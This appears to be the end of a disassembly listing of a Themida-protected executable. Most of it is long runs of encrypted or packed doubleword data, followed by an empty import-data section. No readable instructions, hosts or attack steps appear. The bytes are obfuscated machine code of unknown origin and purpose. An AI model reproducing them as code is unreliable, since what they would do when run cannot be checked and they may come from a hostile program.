dd 0CA81E6ADh, 289B6D72h, 95ECE881h, 8B6669FBh, 12E9FCD6h
dd 71000000h, 17A04D00h, 5C1CBBBh, 658328Bh, 207F37F0h
dd 0C38B6607h, 0FC0DD780h, 0BF66F78Ah, 11E8BA3Ah, 24000000h
dd 0BB40B714h, 4FA64F72h, 6F7B428Ah, 785CE3DAh, 0C3815EF5h
dd 261276CDh, 6E9h, 569CA800h, 0FC5DA64Dh, 12E8h, 0AD6F6400h
dd 3066DFCAh, 29DCF81Ah, 131B317Eh, 0E971501Eh, 8, 7B51D260h
dd 5EABAE94h, 6E85Eh, 95670000h, 9E64818h, 6E95BF8h, 0CE000000h
dd 5D8F80FAh, 7E86Bh, 12F40000h, 0A17F9C7h, 18840FEBh
dd 0E9000000h, 13h, 93B83829h, 9DDE13DBh, 41EDDCDCh, 6B45F06h
dd 5ECC3914h, 79DF4B9h, 0A8F0F1Eh, 0E9000000h, 5, 0D5E76A7Eh
dd 0BCD3B801h, 0DF8B7B2Eh, 0A401BE57h, 0E95A2628h, 13h
dd 4ECDD7DCh, 98C45ADFh, 6AD4CE73h, 0A2C70555h, 0E8121731h
dd 0Ch, 617654ECh, 3906036Dh, 90F0693Eh, 0EE39B3BBh, 0BEF85F19h
dd 46905AC5h, 11E9h, 0FC3C1B00h, 0A32DD0C1h, 0BCDD8F00h
dd 7C52FB89h, 8D0F312Ch, 6, 810Fh, 13E90000h, 2B000000h
dd 0BE79AF68h, 54CA00F8h, 0D7025FA4h, 7CFEFC23h, 8BF5D3D8h
dd 9E8DEh, 0DF0000h, 0D21441EBh, 5BB00EFDh, 0E8C78B66h
dd 0Ah, 3AFE92ECh, 0FD2E4F8Ah, 816660F2h, 5B2BC6F0h, 5810Fh
dd 81660000h, 66ED90E2h, 1674E081h, 9BAFBF66h, 0FDEBF0Fh
dd 0BF0FD0B7h, 5E8CAh, 0A27D0000h, 0B9CB72FFh, 3C39782h
dd 7FBE6658h, 82B8F9C8h, 0F4051E3h, 1983h, 14E900h, 835E0000h
dd 6ADED69Eh, 0B0D89347h, 0A4CE838Eh, 0ED925579h, 0DE8B09A7h
dd 3880Fh, 0BF0F0000h, 8ACE8AFEh, 0BE952C8h, 8B000000h
dd 0EA64D265h, 9B11AD14h, 8B5F5861h, 0CE8C2h, 0E2090000h
dd 28A5663Ah, 6333227Eh, 11E9F111h, 0CB000000h, 245BBD10h
dd 960A9845h, 0EDE7F23Ah, 0B5D503EAh, 60B9665Bh, 14E981h
dd 0A03C0000h, 26667D6Ch, 0E24713B2h, 0AE115658h, 0FBCD32DEh
dd 6060F1D6h, 0EE8h, 3CA71A00h, 0B6DF9A48h, 2B610CB1h
dd 5B50B265h, 5E8h, 2BF93300h, 615B20DDh, 0C8816660h, 6161C81Dh
dd 0F5FF951h, 38Eh, 32C18000h, 11E984B5h, 2A000000h, 0DA9F3DF6h
dd 8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h, 0AE9F8F8h, 7C000000h
dd 1A732439h, 6ED6AE59h, 3890FBEh, 66000000h, 6BB4CB8Bh
dd 830Fh, 0DE90000h, 6A000000h, 531A2DD1h, 413C6E04h, 8D0EF047h
dd 0E94FCD80h, 14h, 1FC84E4Ch, 0EDF0BCAEh, 92B5920Dh, 9725910Dh
dd 6A2ED2F7h, 0D0B70FF8h, 9E9h, 9C8E5300h, 4B7EE35Ch, 0B866E875h
dd 0D3B2C9FAh, 0FE8C68Ah, 0A3000000h, 6637247h, 0EB699B99h
dd 0E1AA0098h, 0B70FABABh, 816659D3h, 0FE977EEh, 6E9CABFh
dd 0D000000h, 0EB57389Eh, 8B2DBABEh, 0BF0F7FD7h, 0E0E0BAF7h
dd 5E95B8Fh, 0B8000000h, 0D1C04B6Bh, 820FD68Bh, 0
dd 0E108C681h, 830F5126h, 3, 0E8C5EE80h, 12h, 0AF356B82h
dd 0FDB3AE4Ch, 2CE1C5E5h, 0FAF8EE4h, 8166DFE5h, 58AC39C8h
dd 50C5BEF9h, 0B70F56A5h, 68C0FC2h, 81000000h, 0C3153CEBh
dd 0BF666013h, 0BE66E0DAh, 66614992h, 0F781F78Bh, 261939D7h
dd 8E8h, 0C2131F00h, 513FDDB8h, 32C3817Eh, 595C2370h, 0E9F9CE8Ah
dd 0Ah, 237F3031h, 3285D7E4h, 0CE97A82h, 3B000000h, 0B68F13BAh
dd 46AA7FE1h, 6636C259h, 0F89EC4BAh, 2800F51h, 50000000h
dd 80605A5Eh, 8B660CC3h, 8B6661D0h, 6C74BAF3h, 0DE87D42h
dd 5000000h, 2927A4DCh, 9EC23187h, 0BAC4EC87h, 0BE86C181h
dd 0F55A365Fh, 0E9FB8B66h, 5, 8FF4E522h, 8FC7BA81h, 0AB94019h
dd 815707D9h, 0D65E34C6h, 13E8FC13h, 58000000h, 5CA94B52h
dd 0BAF30E7Eh, 4CC0709Bh, 4EEA6669h, 4DB5103Eh, 0F0B96659h
dd 840F569Bh, 4, 265BBE66h, 1D8F0F5Ah, 60000000h, 11E9h
dd 2E4C2F00h, 5EC6687Ch, 0B2420B04h, 49E29EB7h, 0C7BA5838h
dd 615F0EABh, 1830Fh, 0B3F80000h, 3BE58072h, 830F60F8h
dd 0
dd 8161C68Ah, 937F28EBh, 0AE854h, 85340000h, 84A50AF1h
dd 3D1C7EFAh, 6B09BF52h, 5E5A69CAh, 0CE9h, 0EDDA9900h
dd 5D69D55Fh, 1BF24695h, 669EBBDAh, 0CF814BF5h, 70215ABBh
dd 4830Fh, 0B8660000h, 66F954D7h, 0FFCCB8Bh, 860FFBB7h
dd 2, 0F6021B7h, 6657F3B7h, 8DBD681h, 8F0F6158h, 3, 0E8CFB70Fh
dd 11h, 0ACBEC560h, 0B3D6FD6Ah, 0E8AED3A5h, 5DFD1B6Bh
dd 0DDB86641h, 0BF0F5A52h, 84C380C3h, 0F5C28B66h, 0A2B4BB66h
dd 5870Fh, 3ABF0000h, 5107DBAAh, 86B2BA66h, 0D781665Fh
dd 8D0F0970h, 6, 8D0Fh, 0F88A0000h, 0C0B70F60h, 0FFBF0F61h
dd 10E8h, 0B18D1B00h, 75F730B9h, 55EDC8FCh, 88082B2Eh
dd 14E96Eh, 79260000h, 0E72A8FB7h, 4F0CD715h, 5646B110h
dd 0AC51FDC7h, 805F9A87h, 0B70F81CAh, 86BE66DBh, 0EE98Dh
dd 0FFF50000h, 57D6B92Fh, 3B1CFC89h, 475D5329h, 11E95BB0h
dd 6B000000h, 5404610Fh, 0C5A8404Eh, 93E45FB6h, 0C7096247h
dd 1EB0EF8Ah, 7E950h, 14A60000h, 73A2A999h, 0C38B5B58h
dd 0FE8F78Ah, 0E9000000h, 0D5AC1F96h, 0B8ACD438h, 0F9FEC317h
dd 535A3148h, 1870Fh, 59F80000h, 6E9h, 804BAB00h, 666D4BF6h
dd 8F0FFE8Bh, 2, 8E0F19B2h, 7, 1810Fh, 8BFC0000h, 4810FF8h
dd 53000000h, 8A585B53h, 8E9FCh, 77EE0000h, 924BCD82h
dd 8A0FC873h, 2, 0F380E58Ah, 0AE857h, 7810000h, 90C7532Bh
dd 914DA328h, 0E964BE66h, 58F0F5Ah, 66000000h, 0DA93C981h
dd 0C18AD38Bh, 0C880Fh, 840F0000h, 6, 0B50BDF81h, 0FCF5022Bh
dd 9E9F5F5h, 0E7000000h, 552BB12Fh, 59C8D9Ch, 13E956h
dd 0C8010000h, 6B2DA878h, 7FEFAFEEh, 0DE30EAA8h, 9D029D1Ch
dd 665659D8h, 59A742B9h, 8BBED18Bh, 0F189B26h, 68Bh, 0BBF28100h
dd 8043AF26h, 0BF0F7EC7h, 0DFBF0FDBh, 0FFBF0F60h, 0FBB161F9h
dd 0E05BF181h, 8B666BC9h, 0FCE8ACFh, 8166FEBFh, 0F6E5CC0h
dd 8BF8C1BFh, 0B70F60D1h, 10E961D0h, 0DA000000h, 149FF7h
dd 551DD8D6h, 9BE2309Eh, 60A65E18h, 5E8h, 0F34A6700h, 0E6B36DB6h
dd 0CFBF0F5Fh, 118B0F61h, 0F000000h, 0B84h, 5E800h, 0D2E30000h
dd 5B38DA82h, 66F38B66h, 818003B8h, 303F13D6h, 0BE9F57Eh
dd 0D1000000h, 11C11FA1h, 4781D567h, 0F551E7B0h, 14E9605Eh
dd 86000000h, 0ACFF7C73h, 31F78CB5h, 872EA52h, 0E751A649h
dd 6140C4C2h, 118E0Fh, 9E80000h, 1A000000h, 0D60BD8C4h
dd 5E306AC1h, 0E9585957h, 13h, 0FFD439CCh, 287DE6B4h, 0A39FDC26h
dd 6714547Ah, 662B8F3Eh, 0F94CDE81h, 14E8h, 0DDB78700h
dd 4618F3D4h, 480CC2DFh, 65B9ECCAh, 744A3E28h, 0D28166ABh
dd 665E331Eh, 7EBED181h, 0A2BD5ABEh, 4C2815Eh, 6614FCECh
dd 817AC2BBh, 0D98DA9D9h, 2800F7Ch, 8A000000h, 669AB7E6h
dd 6651D08Bh, 0EC47E381h, 0EE9605Bh, 69000000h, 911706C9h
dd 8368AFh, 0E0C321AFh, 82CF8095h, 0BE961h, 0B45E0000h
dd 31B9E0B7h, 306410DCh, 5810F88h, 0BE000000h, 129B9950h
dd 8BCAB70Fh, 810FFCFEh, 17h, 118C0Fh, 0BE80000h, 0CE000000h
dd 0ABB7801h, 98891BD7h, 0B058BA3Eh, 0D0BF0FE6h, 5E9h
dd 5B31BE00h, 0F18A4578h, 81DFB70Fh, 0DDFD79C0h, 13E971h
dd 559A0000h, 4B91BBB5h, 90D9AE6h, 0A589BE98h, 16D7DFC1h
dd 8B84B47Fh, 8166F9D0h, 0F24B4C9h, 1485h, 0DE95100h, 1A000000h
dd 6D06EF80h, 820F36E2h, 0DD689975h, 0C88B6659h, 178F0Fh
dd 6E80000h, 36000000h, 147985ECh, 6E98Ah, 2EC20000h, 30C15CDAh
dd 0E9D88B5Ah, 5, 765D9082h, 7E9B8h, 0E7ED0000h, 8CBE252Eh
dd 60F98B36h, 0C486C081h, 840F3F03h, 6, 58A5E181h, 0E8612D54h
dd 0Dh, 69D76843h, 0DB21974Fh, 0D9612AB9h, 0F3816695h
dd 5058FBB7h, 0E95999B3h, 7, 39EEED03h, 0E98F6F96h, 5
dd 0FCB6504Dh, 60CA8B83h, 6173CF80h, 14E8h, 595F0100h
dd 4D80C8B9h, 0B57EC520h, 2E805396h, 49ACF3A8h, 0BE892h
dd 0BD460000h, 0AD506A61h, 446F4515h, 0EE96Dh, 0C69F0000h
dd 6BF89FEBh, 4C6BDB0Bh, 403175AAh, 81525859h, 6DDD2FF2h
dd 81665A7Ch, 0E9838FD7h, 5, 0A7ADBA15h, 815E5049h, 5A43C1F1h
dd 5850F5Ah, 0BB000000h, 6EFA96CCh, 0BE9h, 0D34F6500h
dd 2A973238h, 0ADDD06DFh, 820Fh, 81660000h, 81D763F0h
dd 0D14084F1h, 88C0F4Bh, 0F000000h, 283h, 66616000h, 0D423D881h
dd 0FCD0B70Fh, 0B820Fh, 8B0F0000h, 5, 0D82947BBh, 0AE824h
dd 0F06C0000h, 0C466FBBDh, 8F95DC24h, 7E9h, 29342900h
dd 0DE1CB1A6h, 0D281665Bh, 87B97A7Ch, 0F489F8Ch, 484h
dd 0BFBF6600h, 3719BBA5h, 6160458Ch, 0CE61BE66h, 6E9h
dd 575C600h, 0E921A027h, 0Bh, 6BD5F1F6h, 9FD24E76h, 0B9F86019h
dd 6EF940F9h, 0C91B966h, 0FD2BF0Fh, 18Bh, 8B66F500h, 0D3BA66DFh
dd 0C8816657h, 8166BF64h, 0FA213D1h, 28Ah, 66B6B400h, 0B38AD781h
dd 0F681C18Bh, 71A583E4h, 88B0Fh, 8A0F0000h, 2, 8C0FF88Bh
dd 2, 81661FB3h, 8B5631E0h, 80BE66C7h, 88A0F5Fh, 0F000000h
dd 28Ah, 66585300h, 0B123C881h, 3C3374B9h, 0D2BA6651h
dd 0D5E981FEh, 0E8698BF8h, 0Dh, 626D8621h, 0FD735DE7h
dd 44128B25h, 0B85AF5E6h, 12A1F8F7h, 7E9h, 8D48C500h, 0D0720270h
dd 7E9h, 0CC081F00h, 9C2E2C43h, 810Fh, 0DA800000h, 0AE9B3h
dd 30310000h, 0D7E4237Fh, 7A823285h, 660AF080h, 13E8D68Bh
dd 61000000h, 0B2802725h, 56432EFDh, 6128EE1Ah, 9038D1EFh
dd 0E4803D13h, 0BDB2591Eh, 66DA8B66h, 0FDBED78Bh, 0F91F3E4Ch
dd 0FA68BF56h, 815E2624h, 62EA12E9h, 552EB84Eh, 11E817BBh
dd 89000000h, 877578EBh, 7A8B4D4Dh, 350F7F6Ch, 4CD059Bh
dd 28E0Fh, 61600000h, 14E859h, 2CEC0000h, 381060C1h, 3092F649h
dd 0FFAEE096h, 0F279FBEEh, 665A6DA4h, 0F8BBC081h, 2890Fh
dd 0C4B50000h, 1E25DE81h, 9FB87E23h, 8B50A124h, 0AE8DEh
dd 8CBE0000h, 53100136h, 74ACD05Ah, 6E956h, 0F8790000h
dd 897E0B5h, 8E0F5B5Ah, 5, 13E3BEBEh, 0C0816619h, 0C2803522h
dd 816660B0h, 81CC3DCAh, 0C1E422DAh, 9E96175h, 75000000h
dd 8932428Bh, 0CD950A41h, 10E9h, 0CFE5FF00h, 0DB006F01h
dd 79BB1D4Eh, 10D0EE32h, 0D18166C8h, 830FC7A7h, 9, 3890Fh
dd 8B660000h, 0D18B66F0h, 81D3BF0Fh, 0AD3B3FCFh, 0DE816041h
dd 57854B38h, 0CB8061FCh, 0CB8B662Dh, 0FD6C480h, 9E8D8BFh
dd 0AA000000h, 4DD4D7ADh, 0C7C7902Ch, 0E95F5260h, 0Fh
dd 54606541h, 0B0842B5Ah, 80A9379Ah, 61513BA4h, 10800F5Bh
dd 0E9000000h, 0Bh, 8A5701E7h, 8E95557Ah, 8BDB09CEh, 0D08166CAh
dd 0EDB165A7h, 0E7DDE281h, 0CA8174C2h, 66A90C54h, 0F4ACF80h
dd 0C8Bh, 6860F00h, 0F000000h, 8Eh, 0CBCE8100h, 0F428FCAh
dd 385h, 0D1B70F00h, 0FFE8B60h, 6661C9BFh, 0F3F14BEh, 385h
dd 0C28B6600h, 0D4F8BF66h, 0BBC2B70Fh
dd 41ECC27Ch, 74E98060h, 11E9h, 92484400h, 75257F22h, 2B49C7A2h
dd 500A5ACDh, 6061570Dh, 0DAB70FFCh, 10840F61h, 0E8000000h
dd 9, 14A014FFh, 0F6EC19A3h, 805AFC1Fh, 0B5F530C6h, 0FCB8B83h
dd 1987h, 0FE800h, 6F6C0000h, 0C5525A85h, 764AD0A8h, 5D145A4Fh
dd 81BE6692h, 666059DEh, 668766B9h, 0F1F3E081h, 27B45361h
dd 6619B35Eh, 0E94332B8h, 10h, 0E4FD8098h, 8FD7C39h, 0C3D722BAh
dd 80DB33Eh, 0E9C38B66h, 5, 6C81D8EAh, 50D2816Ch, 661D9C80h
dd 5D42E181h, 10E8h, 5FF8B300h, 813DD8F6h, 0FF06E11Fh
dd 0D31B8F6h, 515AF9AEh, 78A0F5Bh, 51000000h, 70C18166h
dd 8B665993h, 0BE8C2h, 0FFB90000h, 0F1FBA6C3h, 3D0AF920h
dd 830F60CBh, 0
aAzFVuasS db 'aZ¶Ûf¾‚u€áÍ`é',8,0
align 4
dd 0DC30D800h, 0DFE9A5E1h, 0BF61F94Fh, 9D6863Ah, 38E0Fh
dd 8B660000h, 0C28B66CAh, 188F0Fh, 13E90000h, 0EB000000h
dd 6FC91037h, 0AA450E38h, 1E6D034h, 1DDA2920h, 850F7DEFh
dd 6, 870Fh, 0CB810000h, 30C16A10h, 0DE9h, 0A6017400h
dd 4C2C0919h, 70582CB5h, 830FFBE7h, 3, 80F3B70Fh, 0D18100D4h
dd 618E2283h, 6E957h, 0C7AC0000h, 0D29FC563h, 0F6B70F5Eh
dd 66C1B70Fh, 671EDE81h, 8E8h, 33038800h, 0D727B2D2h, 8B66606Eh
dd 665861FBh, 0F27F681h, 0D8FCC981h, 0FF57DD6h, 8Ch, 0B4C98100h
dd 0E92D3108h, 11h, 8C41B332h, 0DC416323h, 0DDDD3640h
dd 0AB5278B2h, 0E0B15182h, 12E96059h, 0FB000000h, 8D140AE6h
dd 25F004h, 0B9053FF1h, 49135C2Ch, 8166614Fh, 0E9BB28E8h
dd 6, 0B66E9E8Bh, 8A5683B2h, 50605AC1h, 51585951h, 11E9h
dd 0B3363E00h, 2891C685h, 9E1E59AAh, 0B308EC0Bh, 61585417h
dd 9E9h, 8C5E3E00h, 52F1BD56h, 0B70F1BAAh, 830FCAh, 0BA000000h
dd 38BB744Ah, 3870Fh, 0B70F0000h, 0BE9F6h, 0FC4A0000h
dd 25DF5F57h, 614A0D15h, 7E856F9h, 0A3000000h, 96A28AAFh
dd 7E98262h, 3000000h, 4E67242Dh, 585E34B1h, 0EAF58060h
dd 0BEEA8166h, 5E96175h, 16000000h, 1177682h, 0BE663DB6h
dd 80606FC6h, 0BB664DEEh, 816110C4h, 917302C8h, 8BFE8A61h
dd 29F680D8h, 0DE9h, 6D9F4600h, 7EF19121h, 31990C49h, 2B7D23Ch
dd 9E860F5h, 67000000h, 0D98AD4AEh, 9DD7ECE8h, 0EE9h, 629E3700h
dd 7FEBE63Ah, 8917CE74h, 5F9CB5BCh, 434CB961h, 0D6815096h
dd 619D0D4Ah, 215CB953h, 0E95951F7h, 13h, 0E4EB7584h, 73BE425Fh
dd 0E48D7414h, 1A3D5389h, 0E9A50503h, 14h, 96DC0FB0h, 78CF66F4h
dd 0B6243649h, 0F89CCA58h, 8BB4727Eh, 8166CA8Bh, 662283E6h
dd 0EE3BE281h, 83666ABAh, 1A800F2Bh, 60000000h, 12E8h
dd 6D13C000h, 0A7212B4Dh, 94D76D4Dh, 0FE7CE4EAh, 5FBA0BFCh
dd 0DE8B6661h, 208C081h, 666024EAh, 514778B9h, 7EBA6158h
dd 0BF45C648h, 593DE5D9h, 0C6CA8160h, 660FCE1Fh, 9B71C381h
dd 0EE816661h, 6051756Eh, 850Fh, 0CD800000h, 0F5A617Ah
dd 5857C0BFh, 0FC70BFB9h, 6FE08155h, 0F562986h, 1686h
dd 0DE800h, 59CD0000h, 691AA3FFh, 390FD3F4h, 0F2C5B45h
dd 8B5ADBB7h, 6D0EBEC8h, 0F38143BDh, 0FCBE2F7h, 3880Fh
dd 0DB800000h, 0F2B70FB9h, 8B66DD8Ah, 0F4CFB9F0h, 8B667B17h
dd 0EEB160FBh, 61F7BF0Fh, 5E9D68Bh, 69000000h, 8718DAE2h
dd 94FD6AB8h, 0C9BF0F56h, 0FD0E580h, 8B50CEB7h, 8C0F5AD7h
dd 4, 0F380B866h, 0FF96060h, 6661DBBFh, 0DFFBC881h, 0E8515161h
dd 6, 86A5BC99h, 5F5EF029h, 13E85Ah, 51570000h, 0ED48A5C6h
dd 573E7FD5h, 81B1E5A1h, 3BDE090Bh, 8E9B3h, 0E4930000h
dd 6C38BD47h, 0F5A7A35h, 182h, 0AE9FC00h, 90000000h, 23591956h
dd 2F1BEDDEh, 51F78B65h, 5EF1BF0Fh, 4A8CE881h, 0DB812415h
dd 72906A7Bh, 11E9h, 2037FB00h, 0C64F92CFh, 945D4E1Bh
dd 17E46398h, 8166754Fh, 579CB7F7h, 0DE960h, 30EA0000h
dd 29D1CDEh, 0D60AD89Dh, 57E2EAA2h, 0F586159h, 0BF0FD8B7h
dd 0ABC580CFh, 0D0B9FB8Bh, 0E90F92B1h, 12h, 7BCFFFD5h
dd 0FD2453BAh, 9A9A1520h, 85007989h, 0E9F99935h, 8, 0DF648DF4h
dd 0F942D090h, 58E0Fh, 81660000h, 66036FF7h, 8181B0B8h
dd 8D9032E9h, 0F25B464h, 1889h, 11E95000h, 0D5000000h
dd 0C2182F78h, 93513ABFh, 6BF77622h, 6035B2C8h, 0BFB8665Eh
dd 13E916h, 9C210000h, 78D7A199h, 95CEC201h, 3A4436A9h
dd 1B086468h, 14E9B8h, 0E30A0000h, 0A3929B0Ch, 4B4D8DFFh
dd 36CF0412h, 0C7D40112h, 0E9818F9Bh, 78985A3Ah, 0FF5F58Ah
dd 28Fh, 60DE8A00h, 0EE8h, 0FD232600h, 3377D515h, 0A5A62526h
dd 0BA4C5968h, 6E1418F0h, 7E95Fh, 671D0000h, 7695F91h
dd 8F0F6103h, 1, 0A1D981FCh, 60451A4Fh, 51DFBF0Fh, 6E49F781h
dd 615E6D67h, 68D0Fh, 0DB810000h, 639341EFh, 0C820Fh, 850F0000h
dd 6, 830Fh, 0E6BB0000h, 0B54DD7E0h, 0C1E181A4h, 811D630Eh
dd 0F08C0F2h, 0AE93Fh, 0F3630000h, 514B3A79h, 0F9CDB8D2h
dd 0DF6CDE81h, 0BF0F0F15h, 5417B9C0h, 8B66642Fh, 2890FC2h
dd 0B1000000h, 0F38B6662h, 7E9h, 0F4C5F600h, 5CB9D5AFh
dd 551BBA66h, 11E9h, 7A366700h, 0BF7A1469h, 8E62EA22h
dd 0FDB44C9Dh, 0CE98B30h, 0AD000000h, 2272F442h, 9378A99Fh
dd 0F8F88B9Bh, 0BED84DBEh, 0E3816620h, 0C180F290h, 6C0DB8F5h
dd 0C9812873h, 62CF393Ah, 0CE9h, 81264700h, 0A862F4B2h
dd 0A47F9B57h, 66C38A58h, 7F1FC981h, 38F0Fh, 0BF0F0000h
dd 11E9C7h, 7F7F0000h, 0FC9F0B8h, 17BF15DFh, 0AD17C280h
dd 0F72F442h, 1589h, 10E900h, 73E50000h, 33965505h, 930DD417h
dd 650B1DDEh, 8B66B652h, 0DEB70FD0h, 9E9h, 0E1010900h
dd 0B43F5A50h, 816616A6h, 81722FE0h, 369FACE2h, 0B9666000h
dd 6661BBA4h, 8BCF181h, 4800Fh, 0BF660000h, 880F73E5h
dd 2, 8166BDB6h, 608C1DD0h, 9E8h, 0F816A600h, 0EAE15B28h
dd 6E93A2Fh, 0C8000000h, 1BEF4B28h, 880F5B21h, 3, 61CFEA80h
dd 15860Fh, 0E9600000h, 0Bh, 0C455E309h, 32C59C4Dh, 808161C2h
dd 0F6172D2h, 18B4D2BFh, 870F6DB2h, 2, 0D38BCB8Ah, 40DEBA66h
dd 0DE9D88Bh, 57000000h, 58A47F9Bh, 0C247B3B8h, 41841A64h
dd 0AE9h, 0D195A600h, 1E61A9A6h, 66545ED6h, 0A8BFCA81h
dd 8BD98B66h, 0E38A50D9h, 60AAB359h, 617DE680h, 0CF816060h
dd 793DA842h, 0CE8h, 0EBDC3200h, 3F25694Dh, 0CD76D8A9h
dd 616159F7h, 56F98B66h, 8E0Fh, 0F5A0000h, 882h, 2830F00h
dd 0B0000000h, 0BBA6B888h, 830F3AB9h, 0
dd 0C2BF0F60h, 8E860h, 97680000h, 96D32DC0h, 60597751h
dd 66616161h, 0C781CA8Bh, 6B3FCA85h, 11E9h, 888B8B00h
dd 0BE41B53Bh, 0CDC6D70h, 66EC6922h, 60608A77h, 0FE8h
dd 0E83DA900h, 91AF7010h, 7DF2A8D7h, 8B1EBCDCh, 90C6815Fh
dd 611D8E34h, 0DAC98166h, 8056615Ch, 8A5BFEE0h, 0D98166C6h
dd 0EE8957Eh, 0C000000h, 20B383C9h, 0ADD1EA2Bh, 45D7A44Ch
dd 10E929h, 0ABB00000h, 82C006A8h, 14FCC170h, 0E044842Fh
dd 0F59E60Ch, 48Eh, 0BFB96600h, 0F78B665Ch, 809AF480h
dd 816664C6h, 0B4116BC2h, 5E9EFh, 0FBFB0000h, 66EC8334h
dd 60FB1BBBh, 0B9F28B66h, 64D5F1B2h, 6AD6AF61h, 82h dup(6AD6ACB6h)
dd 30FFACB6h, 496h dup(30FD709Ch), 0F6BC199Ch, 2Ch dup(0F6BC185Eh)
dd 45EFC25Eh, 1B9h dup(45EFC2B5h), 36Dh dup(97191249h)
dd 2191249h, 157h dup(21B4914h), 0CC1B4914h, 839h dup(0CCCCCCCCh)
dd 0CCh, 1D2h dup(0)
Themida_ ends
; Section 5. (virtual address 001BA000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001BA000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5BA000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start